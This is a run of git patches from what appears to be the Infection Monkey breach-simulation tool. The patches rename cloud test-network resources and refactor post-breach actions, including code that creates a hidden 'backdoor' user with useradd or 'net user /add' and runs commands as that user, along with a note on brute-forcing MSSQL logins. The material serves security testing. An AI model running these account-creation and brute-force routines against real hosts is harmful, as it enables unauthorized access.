-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.6"
   }
 }
@@ -127,7 +127,7 @@ resource "google_compute_instance_from_template" "sambacry-7" {
     }
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.7"
   }
 }
@@ -143,7 +143,7 @@ resource "google_compute_instance_from_template" "shellshock-8" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.8"
   }
 }
@@ -158,11 +158,11 @@ resource "google_compute_instance_from_template" "tunneling-9" {
     auto_delete = true
   }
   network_interface{
-    subnetwork="tunneling-main"
+    subnetwork="${local.resource_prefix}tunneling-main"
     network_ip="10.2.1.9"
   }
   network_interface{
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.9"
   }
 }
@@ -177,11 +177,11 @@ resource "google_compute_instance_from_template" "tunneling-10" {
     auto_delete = true
   }
   network_interface{
-    subnetwork="tunneling-main"
+    subnetwork="${local.resource_prefix}tunneling-main"
     network_ip="10.2.1.10"
   }
   network_interface{
-    subnetwork="tunneling2-main"
+    subnetwork="${local.resource_prefix}tunneling2-main"
     network_ip="10.2.0.10"
   }
 }
@@ -196,7 +196,7 @@ resource "google_compute_instance_from_template" "tunneling-11" {
     auto_delete = true
   }
   network_interface{
-    subnetwork="tunneling2-main"
+    subnetwork="${local.resource_prefix}tunneling2-main"
     network_ip="10.2.0.11"
   }
 }
@@ -211,7 +211,7 @@ resource "google_compute_instance_from_template" "sshkeys-11" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.11"
   }
 }
@@ -226,7 +226,7 @@ resource "google_compute_instance_from_template" "sshkeys-12" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.12"
   }
 }
@@ -241,7 +241,7 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" {
     }
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.13"
   }
 }
@@ -257,7 +257,7 @@ resource "google_compute_instance_from_template" "mimikatz-14" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.14"
   }
 }
@@ -272,7 +272,7 @@ resource "google_compute_instance_from_template" "mimikatz-15" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.15"
   }
 }
@@ -287,7 +287,7 @@ resource "google_compute_instance_from_template" "mssql-16" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.16"
   }
 }
@@ -302,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
     }
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.17"
     access_config {
       // Cheaper, non-premium routing
@@ -322,7 +322,7 @@ resource "google_compute_instance_from_template" "weblogic-18" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.18"
   }
 }
@@ -337,7 +337,7 @@ resource "google_compute_instance_from_template" "weblogic-19" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.19"
   }
 }
@@ -352,7 +352,7 @@ resource "google_compute_instance_from_template" "smb-20" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.20"
   }
 }
@@ -367,7 +367,7 @@ resource "google_compute_instance_from_template" "scan-21" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.21"
   }
 }
@@ -382,7 +382,7 @@ resource "google_compute_instance_from_template" "scan-22" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.22"
   }
 }
@@ -397,7 +397,7 @@ resource "google_compute_instance_from_template" "struts2-23" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.23"
   }
 }
@@ -412,7 +412,7 @@ resource "google_compute_instance_from_template" "struts2-24" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.24"
   }
 }
@@ -429,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.250"
     access_config {
       // Cheaper, non-premium routing (not available in some regions)
@@ -450,7 +450,7 @@ resource "google_compute_instance_from_template" "island-windows-251" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.251"
     access_config {
       // Cheaper, non-premium routing (not available in some regions)
diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf
index ed48864d9..6ae6dafdc 100644
--- a/envs/monkey_zoo/terraform/templates.tf
+++ b/envs/monkey_zoo/terraform/templates.tf
@@ -1,5 +1,5 @@
 resource "google_compute_instance_template" "ubuntu16" {
-  name        = "ubuntu16"
+  name        = "${local.resource_prefix}ubuntu16"
   description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
 
   tags = ["test-machine", "ubuntu16", "linux"]
@@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" {
 }
 
 resource "google_compute_instance_template" "windows2016" {
-  name        = "windows2016"
+  name        = "${local.resource_prefix}windows2016"
   description = "Creates windows 2016 core servers at europe-west3-a."
 
   tags = ["test-machine", "windowsserver2016", "windows"]
@@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" {
     email="${local.service_account_email}"
     scopes=["cloud-platform"]
   }
-}
\ No newline at end of file
+}

From 2a78b62d00e1d067a6057847d7a14df82c032aae Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Wed, 4 Sep 2019 11:35:18 +0300
Subject: [PATCH 24/78] Moved imports to local imports

---
 .../post_breach/actions/communicate_as_new_user.py        | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 6eaf73db5..2522ab1cf 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -4,10 +4,6 @@ import random
 import string
 import subprocess
 
-import win32con
-import win32process
-import win32security
-
 from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
 from infection_monkey.post_breach.actions.add_user import BackdoorUser
 from infection_monkey.post_breach.pba import PBA
@@ -39,6 +35,10 @@ class CommunicateAsNewUser(PBA):
                 return  # no point to continue if failed creating the user.
 
             try:
+                # Importing these only on windows, as they won't exist on linux.
+                import win32con
+                import win32process
+                import win32security
                 # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
                 new_user_logon_token_handle = win32security.LogonUser(
                     username,

From 005618072dfec88893ecd5c635b65bf9613054d2 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 4 Sep 2019 11:46:28 +0300
Subject: [PATCH 25/78] Removed unused mssqlexec objects property

---
 monkey/infection_monkey/exploit/mssqlexec.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 9e8fdc9fb..61fcd1823 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -43,7 +43,6 @@ class MSSQLExploiter(HostExploiter):
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
         self.cursor = None
-        self.monkey_binary_on_host_path = None
         self.monkey_server = None
         self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
 

From 8484925a64a1c90ccb9cdb54c2b450fe8e92181b Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Wed, 4 Sep 2019 12:05:46 +0300
Subject: [PATCH 26/78] Added aws_instance_id field to monkey model

---
 monkey/monkey_island/cc/models/monkey.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index 35fcd3fcd..c0eeb20b3 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -38,6 +38,8 @@ class Monkey(Document):
     ttl_ref = ReferenceField(MonkeyTtl)
     tunnel = ReferenceField("self")
     command_control_channel = EmbeddedDocumentField(CommandControlChannel)
+    aws_instance_id = StringField(required=False)  # This field only exists when the monkey is running on an AWS
+    # instance. See https://github.com/guardicore/monkey/issues/426.
 
     # LOGIC
     @staticmethod

From 02c7d6c30e740948f3be251a1e927099019aa0a8 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 4 Sep 2019 12:11:47 +0300
Subject: [PATCH 27/78] Added docs about order of method calls

---
 monkey/infection_monkey/exploit/mssqlexec.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 61fcd1823..c08aec28d 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -47,6 +47,10 @@ class MSSQLExploiter(HostExploiter):
         self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
 
     def _exploit_host(self):
+        """
+        First this method brute forces to get the mssql connection (cursor).
+        Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after
+        """
         # Brute force to get connection
         username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
         self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)

From 4f912d9d1e389374efa3fc2c688607692cd4f8f6 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Wed, 4 Sep 2019 12:30:55 +0300
Subject: [PATCH 28/78] Fixed sudo usage + added debug logs

---
 .../post_breach/actions/communicate_as_new_user.py             | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 2522ab1cf..53270e8fb 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -94,7 +94,8 @@ class CommunicateAsNewUser(PBA):
             try:
                 linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
                 commandline = "'ping -c 2 google.com'"
-                linux_cmds.extend([";", "sudo", "-", username, "-c", commandline])
+                linux_cmds.extend([";", "sudo", "-u", username, commandline])
+                logger.debug("Trying these commands: {}".format(str(linux_cmds)))
                 output = subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True)
                 PostBreachTelem(self, (
                     CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send()

From 097d8831c87d6220e207905fae977e3f5fd7af2e Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Wed, 4 Sep 2019 12:40:53 +0300
Subject: [PATCH 29/78] Joining commands using ,,.join() for linux

---
 .../post_breach/actions/add_user.py              | 16 +++-------------
 .../actions/communicate_as_new_user.py           |  5 +++--
 2 files changed, 6 insertions(+), 15 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index 9354ca417..b82c59a66 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -4,16 +4,6 @@ from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.config import WormConfiguration
 
-__author__ = 'danielg'
-
-LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
-                  datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
-                  WormConfiguration.user_to_add]
-
-WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
-                    WormConfiguration.remote_user_pass,
-                    '/add', '/ACTIVE:NO']
-
 
 class BackdoorUser(PBA):
     def __init__(self):
@@ -34,13 +24,13 @@ class BackdoorUser(PBA):
     def get_linux_commands_to_add_user(username):
         linux_cmds = [
             'useradd',
-            '-M',
+            '-M',  # Do not create homedir
             '--expiredate',
             datetime.datetime.today().strftime('%Y-%m-%d'),
             '--inactive',
             '0',
-            '-c',
-            'MONKEY_USER',
+            '-c',  # Comment
+            'MONKEY_USER',  # Comment
             username]
         return linux_cmds
 
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 53270e8fb..df4688fb5 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -95,8 +95,9 @@ class CommunicateAsNewUser(PBA):
                 linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
                 commandline = "'ping -c 2 google.com'"
                 linux_cmds.extend([";", "sudo", "-u", username, commandline])
-                logger.debug("Trying these commands: {}".format(str(linux_cmds)))
-                output = subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True)
+                final_command = ' '.join(linux_cmds)
+                logger.debug("Trying to execute these commands: {}".format(final_command))
+                output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True)
                 PostBreachTelem(self, (
                     CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send()
                 return

From ae414bcd13d50fb1979bede58728c2a219d5f8da Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Wed, 4 Sep 2019 12:42:46 +0300
Subject: [PATCH 30/78] Remove unnecessary apostrophes from commandline

---
 .../post_breach/actions/communicate_as_new_user.py              | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index df4688fb5..9335c90fe 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -93,7 +93,7 @@ class CommunicateAsNewUser(PBA):
         else:
             try:
                 linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
-                commandline = "'ping -c 2 google.com'"
+                commandline = "ping -c 2 google.com"
                 linux_cmds.extend([";", "sudo", "-u", username, commandline])
                 final_command = ' '.join(linux_cmds)
                 logger.debug("Trying to execute these commands: {}".format(final_command))

From 5ab36ffd0175ea06d2cc76414e3b16be32ada516 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 4 Sep 2019 16:06:49 +0300
Subject: [PATCH 31/78] Added firewall rules, fixed buggy ones

---
 envs/monkey_zoo/terraform/firewalls.tf | 31 ++++++++++++++++++++++----
 1 file changed, 27 insertions(+), 4 deletions(-)

diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf
index cafb0181d..b183a8d32 100644
--- a/envs/monkey_zoo/terraform/firewalls.tf
+++ b/envs/monkey_zoo/terraform/firewalls.tf
@@ -35,7 +35,7 @@ resource "google_compute_firewall" "monkeyzoo-in" {
 
   direction = "INGRESS"
   priority = "65534"
-  source_ranges = ["10.2.2.0/24"]
+  source_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
 }
 
 resource "google_compute_firewall" "monkeyzoo-out" {
@@ -48,7 +48,7 @@ resource "google_compute_firewall" "monkeyzoo-out" {
 
   direction = "EGRESS"
   priority = "65534"
-  destination_ranges = ["10.2.2.0/24"]
+  destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
 }
 
 resource "google_compute_firewall" "tunneling-in" {
@@ -60,7 +60,7 @@ resource "google_compute_firewall" "tunneling-in" {
   }
 
   direction = "INGRESS"
-  source_ranges = ["10.2.1.0/28"]
+  source_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
 }
 
 resource "google_compute_firewall" "tunneling-out" {
@@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" {
   }
 
   direction = "EGRESS"
-  destination_ranges = ["10.2.1.0/28"]
+  destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
+}
+resource "google_compute_firewall" "tunneling2-in" {
+  name    = "${local.resource_prefix}tunneling2-in"
+  network = "${google_compute_network.tunneling2.name}"
+
+  allow {
+    protocol = "all"
+  }
+
+  direction = "INGRESS"
+  source_ranges = ["10.2.1.0/27"]
+}
+
+resource "google_compute_firewall" "tunneling2-out" {
+  name    = "${local.resource_prefix}tunneling2-out"
+  network = "${google_compute_network.tunneling2.name}"
+
+  allow {
+    protocol = "all"
+  }
+
+  direction = "EGRESS"
+  destination_ranges = ["10.2.1.0/27"]
 }

From 86cf09419ce06285170f1251dd0273f932f588a2 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Wed, 4 Sep 2019 16:24:46 +0300
Subject: [PATCH 32/78] Moved imports to top of try

---
 .../post_breach/actions/communicate_as_new_user.py    | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 9335c90fe..182acea00 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -31,14 +31,15 @@ class CommunicateAsNewUser(PBA):
     def run(self):
         username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
         if is_windows_os():
+            # Importing these only on windows, as they won't exist on linux.
+            import win32con
+            import win32process
+            import win32security
+
             if not self.try_to_create_user_windows(username, PASSWORD):
                 return  # no point to continue if failed creating the user.
 
             try:
-                # Importing these only on windows, as they won't exist on linux.
-                import win32con
-                import win32process
-                import win32security
                 # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
                 new_user_logon_token_handle = win32security.LogonUser(
                     username,
@@ -99,7 +100,7 @@ class CommunicateAsNewUser(PBA):
                 logger.debug("Trying to execute these commands: {}".format(final_command))
                 output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True)
                 PostBreachTelem(self, (
-                    CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send()
+                    CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send()
                 return
             except subprocess.CalledProcessError as e:
                 PostBreachTelem(self, (e.output, False)).send()

From 5a29e047ab1d6a8ed182074bb4ecb9dda88c550a Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Wed, 4 Sep 2019 17:00:28 +0300
Subject: [PATCH 33/78] Extracted events amount badge to function

---
 .../zerotrust/EventsButton.js                 | 23 +++++++++++--------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
index 66f1ae3d3..f7a3fbbe5 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
@@ -20,23 +20,26 @@ export default class EventsButton extends Component {
   };
 
   render() {
+    return <Fragment>
+        <EventsModal events={this.props.events} showEvents={this.state.isShow} hideCallback={this.hide}
+                     exportFilename={this.props.exportFilename}/>
+        <div className="text-center" style={{"display": "grid"}}>
+          <Button className="btn btn-primary btn-lg" onClick={this.show}>
+            <i className="fa fa-list"/> Events {this.createEventsAmountBadge()}
+          </Button>
+        </div>
+    </Fragment>;
+  }
+
+  createEventsAmountBadge() {
     let eventsAmountBadge;
     if (this.props.events.length > 10) {
       eventsAmountBadge = <Badge>9+</Badge>;
     } else {
       eventsAmountBadge = <Badge>{this.props.events.length}</Badge>;
     }
-    return <Fragment>
-        <EventsModal events={this.props.events} showEvents={this.state.isShow} hideCallback={this.hide}
-                     exportFilename={this.props.exportFilename}/>
-        <div className="text-center" style={{"display": "grid"}}>
-          <Button className="btn btn-primary btn-lg" onClick={this.show}>
-            <i className="fa fa-list"/> Events {eventsAmountBadge}
-          </Button>
-        </div>
-    </Fragment>;
+    return eventsAmountBadge;
   }
-
 }
 
 EventsButton.propTypes = {

From 3a290b46acfa52a20827aa3f1549bd7016c1f7a0 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Thu, 5 Sep 2019 16:40:02 +0300
Subject: [PATCH 34/78] Fixed T1078 attack technique not implemented, empty PBA
 message and other bugs

---
 .../post_breach/actions/users_custom_pba.py                 | 2 +-
 monkey/infection_monkey/post_breach/pba.py                  | 6 +++++-
 monkey/monkey_island/cc/services/config_schema.py           | 4 ++--
 .../cc/ui/src/components/report-components/PostBreach.js    | 2 +-
 4 files changed, 9 insertions(+), 5 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index a388813ab..118868d0c 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -27,7 +27,7 @@ class UsersPBA(PBA):
     Defines user's configured post breach action.
     """
     def __init__(self):
-        super(UsersPBA, self).__init__("File execution")
+        super(UsersPBA, self).__init__("Custom post breach action")
         self.filename = ''
         if not is_windows_os():
             # Add linux commands to PBA's
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 86addd009..926594192 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -12,6 +12,7 @@ LOG = logging.getLogger(__name__)
 
 __author__ = 'VakarisZ'
 
+EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
 
 class PBA(object):
     """
@@ -73,7 +74,10 @@ class PBA(object):
         :return: Tuple of command's output string and boolean, indicating if it succeeded
         """
         try:
-            return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
+            output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True)
+            if not output:
+                output = EXECUTION_WITHOUT_OUTPUT
+            return output, True
         except subprocess.CalledProcessError as e:
             # Return error output of the command
             return e.output, False
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index 93b096ffa..4ef418b6c 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -406,7 +406,7 @@ SCHEMA = {
                             "title": "Harvest Azure Credentials",
                             "type": "boolean",
                             "default": True,
-                            "attack_techniques": ["T1003", "T1078"],
+                            "attack_techniques": ["T1003"],
                             "description":
                                 "Determine if the Monkey should try to harvest password credentials from Azure VMs"
                         },
@@ -421,7 +421,7 @@ SCHEMA = {
                             "title": "Should use Mimikatz",
                             "type": "boolean",
                             "default": True,
-                            "attack_techniques": ["T1003", "T1078"],
+                            "attack_techniques": ["T1003"],
                             "description": "Determines whether to use Mimikatz"
                         },
                     }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
index aacdc8845..ea39e3c45 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
@@ -24,7 +24,7 @@ let renderPbaResults = function (results) {
 };
 
 const subColumns = [
-  {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }},
+  {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160},
   {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
 ];
 

From 731e3acb9035e7f8cb4699837606d5f4de06c0b7 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Thu, 5 Sep 2019 20:56:00 +0300
Subject: [PATCH 35/78] Added exception info to monkey main function.

---
 monkey/infection_monkey/main.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index 2ddf9127e..3b51c1be2 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -127,8 +127,8 @@ def main():
                 json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
 
         return True
-    except Exception:
-        LOG.exception("Exception thrown from monkey's start function")
+    except Exception as e:
+        LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
     finally:
         monkey.cleanup()
 

From e9cd20a3457dff37e14abd589a9d04225f0e196e Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Thu, 5 Sep 2019 20:56:17 +0300
Subject: [PATCH 36/78] If one PBA fails it shouldn't stop all the rest.

---
 monkey/infection_monkey/post_breach/post_breach_handler.py | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index 034e1c451..c68422d4c 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -25,8 +25,11 @@ class PostBreach(object):
         Executes all post breach actions.
         """
         for pba in self.pba_list:
-            LOG.debug("Executing PBA: '{}'".format(pba.name))
-            pba.run()
+            try:
+                LOG.debug("Executing PBA: '{}'".format(pba.name))
+                pba.run()
+            except Exception as e:
+                LOG.error("PBA {} failed. Error info: {}".format(pba.name, e))
         LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
 
     @staticmethod

From e618378c955140521e634d4024a9b9634636a0ab Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Thu, 5 Sep 2019 20:56:48 +0300
Subject: [PATCH 37/78] Vastly improved communicate as new user PBA code
 structure, also not leaking any more process or thread handles.

---
 .../infection_monkey/monkey_utils/__init__.py |   0
 .../monkey_utils/windows/__init__.py          |   0
 .../monkey_utils/windows/new_user.py          |  64 ++++++++
 .../actions/communicate_as_new_user.py        | 151 ++++++++----------
 4 files changed, 134 insertions(+), 81 deletions(-)
 create mode 100644 monkey/infection_monkey/monkey_utils/__init__.py
 create mode 100644 monkey/infection_monkey/monkey_utils/windows/__init__.py
 create mode 100644 monkey/infection_monkey/monkey_utils/windows/new_user.py

diff --git a/monkey/infection_monkey/monkey_utils/__init__.py b/monkey/infection_monkey/monkey_utils/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/monkey_utils/windows/__init__.py b/monkey/infection_monkey/monkey_utils/windows/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py
new file mode 100644
index 000000000..be6e2534d
--- /dev/null
+++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py
@@ -0,0 +1,64 @@
+import logging
+import subprocess
+
+from infection_monkey.post_breach.actions.add_user import BackdoorUser
+from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
+
+
+logger = logging.getLogger(__name__)
+
+
+class NewUserError(Exception):
+    pass
+
+
+class NewUser(object):
+    """
+    RAII object to use for creating and using a new user in Windows. Use with `with`.
+    User will be created when the instance is instantiated.
+    User will log on start of `with` scope.
+    User will log off on end of `with` scope.
+
+    Example:
+             # Created                           # Logged on
+        with NewUser("user", "pass") as new_user:
+            ...
+            ...
+        # Logged off
+        ...
+    """
+    def __init__(self, username, password):
+        """
+        Creates a user with the username + password.
